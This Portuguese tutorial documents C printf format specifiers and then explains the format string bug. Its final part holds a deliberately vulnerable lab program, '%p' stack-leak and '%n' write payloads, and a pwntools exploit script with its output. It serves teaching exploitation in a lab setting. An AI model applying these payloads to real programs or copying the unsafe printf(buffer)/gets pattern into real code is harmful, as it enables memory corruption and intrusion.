Format String Bug
Printf
A função printf
é uma função em C que permite a impressão de texto formatado. A função recebe como primeiro argumento uma string de formato que pode conter texto normal e 0 ou mais especificadores de formato, seguidos por uma lista de argumentos que devem ser formatos na string.
Desse modo, a função printf
não sabe quantos argumentos irá receber, a função apenas espera que os argumentos que deverão ser formatados estejam nos endereços acima da string de formato na pilha de execução.

A imagem acima representa uma pilha em 32 bits, e segue sua representação correta, ou seja, o topo da pilha está na parte de baixo (uma vez que a região de memória conhecida como stack começa em endereços altos e aumenta indo na direção de endereços menores).
Em 64 bits, os parâmetros são passados por meio de registradores, mas como as funções precisam dos registradores para executar suas operações, eles também são salvos na pilha, porém eles ficarão bem no topo (topo -> parâmetros -> variáveis da função -> Old RBP
-> Endereço de retorno -> ...).
Format String
Os especificadores de formatos são opcionais e seguem a seguinte sintaxe:
%[sinalizadores][largura][.precisão][tamanho]tipo
A especificação de tipo é o único campo obrigatório e determina como o argumento deve ser interpretado. A especificação de tamanho indica a largura mínima de saída e a precisão para a formatação dos valores. Os demais campos (sinalizadors, largura e precisão) servem para formatar a saída, controlando espaços à esquerda ou zeros, justificação e precisão exibida.
Especificação de tipo
O campo de especificação de tipo é o único campo obrigatório e aparece sempre depois dos demais campos. Ele especifica se o argumento deve ser interpretado como um caractere, uma cadeia de caracteres, um ponteiro, um inteiro ou um número de ponto flutuante.
Os argumentos que especificam caracteres são interpretados com base no caractere de tipo correspondente e o campo de tamanho opcional. Os tipos de caracteres char
e wchar_t
são especificados utilizando c
ou C
, enquanto as cadeias de caracteres são especificados utilizando s
ou S
. Argumentos de caractere e de cadeia de caracteres que são especificados com c
ou s
são interpretados como char
e char*
e os argumentos especificados com C
ou S
são interpretados como wchar_t
e wchar_t*
.
Tipos que especificam inteiros como short
, long
, long long
, int
e suas variações unsigned
, são especificados utilizando d
, i
, o
, u
, x
e X
. Tipos de ponto flutuante como float
, double
e long double
são especificados usando a
, A
, e,
E
, f
, F
, g
e G
. A menos que sejam por prefixo de tamanho, os argumentos inteiros são interpretados como int
e argumentos de ponto flutuante como double
. Tipos de ponteiro especificados por p
usam o tamanho padrão de ponteiro para a plataforma.
%c
Caractere
Especifica um caractere em ASCII.
printf("%c %c %c %c", 'h', 97, 0x77, 0153);
h a w k
%C
Caractere
Especifica um caractere longo em ASCII.
printf("%C %C %C %C", L'h', 97, 0x77, 0153);
h a w k
%d
, %i
Inteiro
Especifica um inteiro decimal com sinal
printf("%d %d %d %i", 'a', 10, 0xa, 012);
97 10 10 10
%u
Inteiro
Especifica um inteiro decimal sem sinal
printf("%u %u %u %u", 'a', 10, 0xa, 012);
97 10 10 10
%o
Inteiro
Especifica um inteiro octal sem sinal
printf("%o %o %o %o", 'a', 10, 0xa, 012);
141 12 12 12
%x
Inteiro
Especifica um inteiro hexadecimal sem sinal. Utiliza apenas caracteres minúsculos
printf("%x %x %x %x", 'h', 97, 0x77, 0153);
68 61 77 6b
%X
Inteiro
Especifica um inteiro hexadecimal sem sinal. Utiliza apenas caracteres maiúsculos
printf("%X %X %X %X", 'h', 97, 0x77, 0153);
68 61 77 6B
%f
Ponto Flutuante
Especifica um valor de ponto flutuante.
printf("%f", 25.52);
25.520000
%F
Ponto Flutuante
Idêntico ao formato %f, com a execeção de que representa saída infinite e NaN em letras maiúsculas.
printf("%F", INFINITY);
INF
%e
Ponto Flutuante
Especifica um valor de ponto flutuante em notação científica.
printf("%e", 25.52);
2.552000e+01
%E
Ponto Flutuante
Idêntico ao formato %e, com a execeção de que utiliza E
ao invés de e
no output.
printf("%E", 25.52);
2.552000E+01
%g
Ponto Flutuante
Especifica um valor de ponto flutuante com sinal no formato %f
ou %e
, escolhendo o que for mais compacto. Caso o expoente for menor que -4 ou maior ou igual a precisão especificada, será impresso no formato %e
. Caso contrário, irá imprimir no formato %f
.
printf("%g %g", 1.5, 2500000.52);
1.5 2.5e+06
%G
Ponto Flutuante
Idêntico ao formato %g
, com a exceção que irá utilizar o formato %F
ou %E
printf("%G %G", 1.5, 2500000.52);
1.5 2.5E+06
%a
Ponto Flutuante
Especifica um valor de ponto flutuante de precisão dupla com sinal em hexadecimal. Utiliza apenas caracteres minúsculos
printf ("%a", 5.2);
0x1.4cccccccccccdp+20
%A
Ponto Flutuante
Especifica um valor de ponto flutuante de precisão dupla com sinal em hexadecimal. Utiliza apenas caracteres maiúsculos
printf ("%A", 5.2);
0X1.4CCCCCCCCCCCDP+20
%n
Ponteiro para inteiro
Grava no endereço especificado como argumento a quantidade de caracteres impressos com êxito antes de chegar no %n
.
printf ("...%n %d", &x, x); printf (" %d", x);
... 0 3
%p
Ponteiro
Especifica um endereço usando dígitos hexadecimais
printf ("%p", &x);
000000340edff9ac
%s
String
Especifica uma cadeia de caracteres. Os caracteres são exibidos até um caractere nulo ou até que seja atingido o valor de precisão informado.
printf ("%s", "HawkSec");
HawkSec
%S
String
Especifica uma cadeia de caracteres longos. Os caracteres são exibidos até um caractere nulo ou até que seja atingido o valor de precisão informado.
printf ("%S", L"HawkSec");
HawkSec
%Z
Estrutura ANSI_STRING
ou UNICODE_STRING
Imprime o campo Buffer
da estrutura. Normalmente utilizado em funções de depuração de driver que usam uma especificação de conversão, como dbgPrint
e kdPrint
.
Não foi possível gerar Exemplos para esse formato.
-
Especificação de Sinalizador
O campo de especificação de sinalizador é o primeiro campo opcional. Esse campo possui 0 ou mais caracteres de sinalizadores e formatam a saída, controlando a saída de sinais, espaços em branco, zeros à esquerda, pontos decimais e prefixos octais e hexadecimais.
-
Alinhar à esquerda na saída de texto dentro do campo de largura especificado.
Alinhar à direita.
printf(".%-3d.", 10);
.10 .
+
Mostrar o sinal, positivo ou negativo, para tipos com sinal.
Mostrar sinal apenas para números negativos.
printf("%+d %+d", 2, -2);
+2 -2
0
Adicionar 0
à esquerda até atingir a largura mínima. Se -
estiver presente o sinalizador 0
será ignorado. Se tiver um campo de especificação de precisão em um formato inteiro (i
, u
, x
, X
, o
, d
), como %0.3.d
, o sinalizador 0
será ignorado. Se 0
estiver presente nos tipos de ponto flutuante a
ou A
, os zeros à esquerda irão aparecer após a indicação de formato hexadecimal 0x
ou 0X
.
Nenhum Preenchimento
printf("%03d", 2);
002
#
Adicionar 0
, 0x
ou 0X
quando usado com os tipos o
, x
, X
.
Nenhum prefixo.
printf("%#x", 18);
0x12
Adicionar obrigatoriamente uma casa decimal ao valor de saída quando usado com os tipos e
, E
, f
, F
, a
ou A
.
O ponto decimal só será mostrado se houver números após ele.
printf ("%#f", 2.0);
2.000000
Adicionar obrigatoriamente uma casa decimal ao valor de saída quando usado com os tipos g
ou G
. Além disso, a especificação #
evita o truncamento de zeros à direita.
O ponto decimal só será mostrado se houve números após ele e os zeros à direita são truncados.
printf("%#g", 2.1);
2.10000
Especificação de largura
O campo de especificação de largura é opcional e sempre aparece após quaisquer caracteres sinalizadores. Este campo é um número inteiro e não negativo que controla o número mínimo de caracteres de saída. Dessa forma se o número de caracteres no valor de saída for menor do que o número especificado, espaços em branco serão adicionados na esquerda ou direita do valor (dependendo do sinalizador -
), e se o campo for prefixado por 0
, zeros irão aparecer no lugar dos espaços em branco. Outra coisa interessante, é que o campo pode ser um *
, e dessa forma o valor será o primeiro inteiro que for identificado nos parâmetros da printf
.
É importante notar que caso o valor de saída seja maior que o número informado, ele não será truncado, e irá aparecer corretamente.
somente inteiro
printf("%5d", 3);
3
0 prefixado
printf("%05d", 3);
00003
*
printf("%0*d", 5, 3);
00003
Especificação da precisão
O campo de especificação de precisão é o terceiro campo opcional, e consiste de um .
seguido de um inteiro não negativo, cujo resultado irá depender do tipo especificado. Ao contrário do campo de largura, o campo de precisão pode causar truncamento do valor de saída ou arredondamento de um valor de ponto flutuante. O caractere *
também funciona no campo de precisão, e funciona da mesma forma.
Se a precisão for 0
e o valor a ser convertido for 0
, nenhum caractere será impresso.
a
,A
Indica o número de dígitos após a vírgula.
Por padrão é 13, e se for passado 0, nenhum caractere será impresso (a não ser que o sinalizador # esteja presente).
printf("%.2a", 10.1);
0x1.43p+3
c
,C
Precisão não tem efeito.
Caractere é impresso.
printf("%.2c", 'f');
f
d
,i
,o
,u
,x
,X
Indica o número a ser impresso, se for menor será preenchido com 0 a esquerda, e se for maior não será truncado.
Precisão padrão é 1.
printf("%.4d", 5);
0005
e
,E
Indica o número de dígitos após a vírgula, o último será arredondado.
Por padrão é 6, e se a precisão for 0
ou nada aparecer após o .
, não será impresso os pontos decimais.
printf("%.3e", 10.5);
1.050e+01
f
,F
Indica o número de dígitos após a vírgula, o valor será arredondado.
Por padrão é 6, e se a precisão for 0
ou nada aparecer após o .
, não será impresso os pontos decimais.
printf("%.1f", 10.49999999);
10.5
g
,G
Indica o número máximo de dígitos significativos que serão impressos.
Seis dígitos significativos são impressos e os zeros à direita são truncados.
printf("%.1g", 10.49999999);
1e+01
s
,S
Indica o número máximo de caracteres a serem impressos.
Os caracteres são impressos até que seja encontrado um caractere nulo.
printf("%.4s", "HawkSec");
Hawk
Format String Bug
O format string bug é extremamente perigoso e facilmente explorável. Esse exploit consiste basicamente em explorar printfs
mal colocados (não informam o format string, por exemplo: printf(string);
), sendo possível alterar valores arbitrariamente na memória.
Isso é possível por causa da forma como o printf
funciona, que como visto, recebe somente o format string e espera que o resto esteja na pilha. Dessa forma quando não é informado o format string, o printf
irá imprimir o que foi passado, mas se essa string contiver algum format string ele irá interpretar. Então sabendo que o printf
pega os valores da pilha, um usuário pode simplesmente digitar %p %p %p...
que o printf
irá começar a imprimir os valores que estão na pilha.
Somente isso já o suficiente para ver que usar um printf
sem o format string é perigoso, mas é possível ir além disso, pois existe um format string que escreve no ponteiro da posição em que ele está a quantidade de bytes já impressos, o %n
, que por padrão está desativado no Windows. Com o uso do %n
é possível localizar algum ponteiro na pilha (seja um já existente ou algum que você escreveu) e escrever um novo valor nesse ponteiro. Um exemplo seria imaginar que na posição 7 da pilha há um ponteiro que você deseja alterar o valor para 10, você pode simplesmente usar o seguinte input: %10x%7$n
, esse input escreve 10 bytes e em seguida salva essa quantidade no ponteiro que está na posição 7 (essa formatação de $
está desativada no Windows).
Ainda é possível ir mais além, pois nem sempre o seu ponteiro irá estar na pilha, mas o input que você digita sim. Com isso é necessário identificar em que posição seu input começa a aparecer na pilha, e identificar qual é o seu ponteiro, e pronto, basta informar o ponteiro no input (tomando cuidado para ele ocupar um endereço completo, 32 bits difere de 64 bits) a quantidade que você deseja escrever nele e o %n
, ficando dessa forma: ponteiro(endereço completo)%(quantidade - tamanho do endereço)x%(posição)$n
. Isso permite que você possa até alterar endereços de funções (existem algumas que dão um jmp
para a região onde ela está, e o jmp
é por ponteiro).
OBSERVAÇÃO: É muito provável que você se depare com ponteiros que não ocupem um endereço completo, e nesses casos é necessário preencher eles com \x00
, mas o printf
para de interpretar quando lê um byte nulo. Para burlar isso é necessário trocar a ordem do input, fazendo com que a quantidade e o %n
apareçam primeiro e depois o endereço, ficando dessa forma: %(quantidade)x%(posição)$n(ponteiro)
.
Exemplo
Para exemplificar como podemos abusar desse bug foi criado o seguinte código em c:
#include <stdio.h>
int y = 0;
void func () {
char buffer[100];
gets(buffer);
printf(buffer);
return;
}
int main() {
func();
printf("\n%d\n", y);
if (y == 100) {
printf("\nParabéns, você abusou do printf bug em um código desprovido de proteção.");
}
return 0;
}
Note que para facilitar a exemplificação foi utilizado uma variável global.
No código, podemos ver que o objetivo é fazer com que a variável global y
tenha o valor de 100, também é possível observar que a função func()
invoca o printf
sem o format string. O primeiro passo então é identificar o nosso ponteiro, que no caso será o endereço da variável y
, que é facilmente encontrado (é global, logo está na tabela de símbolos) usando o gdb
com o seguinte comando: p &y
pwndbg> p &y
$1 = (<data variable, no debug info> *) 0x404024 <y>
pwndbg> p (int)y
$2 = 0
Achamos o nosso endereço 0x404024
, mas como estamos usando um sistema 64 bit, é necessário converter esse endereço para 0x0000000000404024
(note que esse contém inúmeros bytes nulos). O segundo passo é encontrar onde o nosso input está na pilha (o programa foi compilado da seguinte maneira: gcc -no-pie teste.c -o main
).
./main
%p %p %p %p %p %p %p %p %p
0x17042a1 (nil) 0x7fbbe81cb8e0 0x17042bb (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025
Repare que os caracteres %p
em ASCII são 25, 70 e 20 respectivamente, e podemos observar que eles começam a aparecer na posição 6 da pilha.
Com o endereço identificado e a posição na pilha encontrada, podemos escrever o script:
from pwn import *
#Setando o processo.
elf = context.binary = ELF("./main")
p = process()
#Procurando a variável global que iremos alterar.
y = elf.sym['y']
#Montando payload.
payload = b"%100x%8$n|||||||" # Sempre múltiplo de 8 para não quebrar o endereço à seguir.
payload += p64(y)
print(payload)
#Sucesso.
print(p.clean().decode())
p.sendline(payload)
print(p.clean().decode())
Note que neste caso podemos simplesmente pedir para o próprio script encontrar o endereço de y
, mas colocar ele manualmente ali também funcionaria.
Repare que cada caractere ocupa exatamente 1 byte e um endereço completo em 64 bits é 8 bytes, então como %100x%8$n
ocupam 9 bytes, o endereço iria ficar quebrado se colocado após. Para impedir isso colocamos mais 7 caracteres (|) para fazer com que o endereço seja colocado sem quebrar na posição 8 (6 + 2).
Após a execução do código, obtemos o seguinte resultado:
b'%100x%8$n|||||||$@@\x00\x00\x00\x00\x00'
1e532a1|||||||$@@
100
Parabéns, você abusou do printf bug em um código desprovido de proteção.
Links
Atualizado